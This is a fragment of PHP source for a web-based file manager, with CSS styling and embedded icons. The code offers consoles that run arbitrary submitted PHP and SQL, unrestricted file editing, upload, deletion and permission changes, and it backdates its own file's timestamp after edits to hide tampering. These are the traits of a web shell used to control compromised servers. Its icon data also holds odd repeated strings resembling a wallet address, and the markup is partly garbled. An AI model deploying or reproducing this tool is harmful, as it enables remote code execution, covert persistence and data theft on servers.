background-image: url("data:image/png;base64,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");
}
.file {
background-image: url("data:image/png;base64,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");
}
=fm_home_style()
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fms_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fms_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_myfile').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fms_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fms_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fms_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fms_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_local['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_local['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_local['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_local['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_local['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_local['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
<table class="whole">
<tr>
<th>=__('File manager').' - '.$path</th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2>=strtoupper($res_lng) =__('Console')if($res_lng=='sql') echo ' - Database: '.$fms_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');</td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="=$url_inc.'&path=' . $path;">=__('Back')</a>
<form action="" method="POST" name="console">
<textarea name="=$res_lng" cols="80" rows="10" style="width: 90%">=$res</textarea><br/>
<input type="reset" value="=__('Reset')">
<input type="submit" value="=__('Submit')" name="=$res_lngrun">
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
</form>
</td>
</tr>
</table>
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fms_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th>=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']</th>
</tr>
<tr>
<td class="row1">
=$msg
</td>
</tr>
<tr>
<td class="row1">
=fm_home() <a href="=$backlink">=__('Back')</a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="=$editlink">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false">=htmlspecialchars($oldcontent)</textarea>
<input type="submit" name="save" value="=__('Submit')">
<input type="submit" name="cancel" value="=__('Cancel')">
</form>
</td>
</tr>
</table>
echo $auth_local['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
<table class="whole">
<tr>
<th>=__('File manager').' - '.$path</th>
</tr>
<tr>
<td class="row1">
=$msg
</td>
</tr>
<tr>
<td class="row1">
<a href="=$backlink">=__('Back')</a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="=$link">
=__('Rights').' - '.$_REQUEST['rights'] <input type="text" name="rights_val" value="=$oldrights">
if (is_dir($path.$_REQUEST['rights'])) {
<input type="checkbox" name="recursively" value="1"> =__('Recursively')<br/>
}
<input type="submit" name="save" value="=__('Submit')">
</form>
</td>
</tr>
</table>
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>) {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
<table class="whole">
<tr>
<th>=__('File manager').' - '.$path</th>
</tr>
<tr>
<td class="row1">
=$msg
</td>
</tr>
<tr>
<td class="row1">
<a href="=$backlink">=__('Back')</a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="=$link">
=__('Rename'): <input type="text" name="newname" value="=$_REQUEST['rename']"><br/>
<input type="submit" name="save" value="=__('Submit')">
</form>
</td>
</tr>
</table>
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fms_config['upload_myfile'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>) {
if(!fm_del_fileSet(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fms_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_fileSet($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in fileSet').' ('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> ';
}
} else {
$msg .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fms_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg .= __('Error occurred').': '.__('no fileSet');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
